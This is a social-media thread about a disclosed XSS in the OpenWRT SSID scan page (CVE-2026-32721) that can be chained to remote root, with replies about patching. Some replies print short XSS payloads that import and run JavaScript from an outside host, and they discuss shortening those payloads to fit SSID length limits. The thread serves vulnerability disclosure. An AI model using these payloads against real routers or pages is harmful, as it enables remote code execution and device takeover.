Rooting OpenWRT from the parking lot: I discovered an XSS in the OpenWRT SSID scan page, that can be chained to remote root access 👾Write-up and demo: https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/CVE-2026-32721, fixed in 24.10.6 / 25.12.1
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@sash hmmm I really need to update my router huh
@lunareclipse or just don't open that scan page
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R relay@relay.infosec.exchange shared this topic
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Rooting OpenWRT from the parking lot: I discovered an XSS in the OpenWRT SSID scan page, that can be chained to remote root access
Write-up and demo: https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
CVE-2026-32721, fixed in 24.10.6 / 25.12.1@sash TIL that this works:
<a id=s href=//domain/x.js>
<img src=x onerror=import(s)>This might come in handy in future pentests
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Rooting OpenWRT from the parking lot: I discovered an XSS in the OpenWRT SSID scan page, that can be chained to remote root access
Write-up and demo: https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
CVE-2026-32721, fixed in 24.10.6 / 25.12.1@sash wow looks like a lot of people are upgrading right now, judging by the ASU server stats 🫣
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R relay@relay.an.exchange shared this topic
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Rooting OpenWRT from the parking lot: I discovered an XSS in the OpenWRT SSID scan page, that can be chained to remote root access
Write-up and demo: https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
CVE-2026-32721, fixed in 24.10.6 / 25.12.1@sash
Thanks for the heads up! I frequent the forums but it's been a couple of days since my last visit so I missed this one. It seems the release was announced 17h ago.Now, if this was found in a commercial router firmware, how quickly would you guess there'd be a fix available?
I'd say weeks, or maybe months.
edit: hashtag for better reach #OpenWRT
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Rooting OpenWRT from the parking lot: I discovered an XSS in the OpenWRT SSID scan page, that can be chained to remote root access
Write-up and demo: https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
CVE-2026-32721, fixed in 24.10.6 / 25.12.1@sash what a find. thanks for sharing, friend.
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Rooting OpenWRT from the parking lot: I discovered an XSS in the OpenWRT SSID scan page, that can be chained to remote root access
Write-up and demo: https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
CVE-2026-32721, fixed in 24.10.6 / 25.12.1@sash funny coincidence, I fixed the same class of bug at work recently
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@sash funny coincidence, I fixed the same class of bug at work recently
@uvok there's a lot of these, I've been playing with it a lot over the last year, and I have some more fun ones in my queue waiting for release
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@sash TIL that this works:
<a id=s href=//domain/x.js>
<img src=x onerror=import(s)>This might come in handy in future pentests
@BafDyce Yeah that took me a bit of time to find. An alert(1) fits easy of course, but I have the most fun if I can show a full running exploitation to something practical
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Rooting OpenWRT from the parking lot: I discovered an XSS in the OpenWRT SSID scan page, that can be chained to remote root access
Write-up and demo: https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
CVE-2026-32721, fixed in 24.10.6 / 25.12.1@sash very cool find! I think it would be possible to fit it (just) in 32 characters with: <iframe onload=import('//d.cx')>
(That url works; d.cx is serving a hello world alert payload at the moment, it works with e.g. https://d.cx/~dgl/l.html but I haven't tried actually doing it with OpenWRT.)
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@sash very cool find! I think it would be possible to fit it (just) in 32 characters with: <iframe onload=import('//d.cx')>
(That url works; d.cx is serving a hello world alert payload at the moment, it works with e.g. https://d.cx/~dgl/l.html but I haven't tried actually doing it with OpenWRT.)
@sash this takes advantage of the fact (some?) browsers by default load a blank iframe, so it's fewer characters than <img src=x onerror=...>. Works in Chrome at least.
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@sash this takes advantage of the fact (some?) browsers by default load a blank iframe, so it's fewer characters than <img src=x onerror=...>. Works in Chrome at least.
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@freddy @sash interesting… https://developer.mozilla.org/en-US/docs/Web/API/SVGElement/load_event claims it doesn’t work in Firefox and references a 15 year old bug… but yes, that would get a few more characters
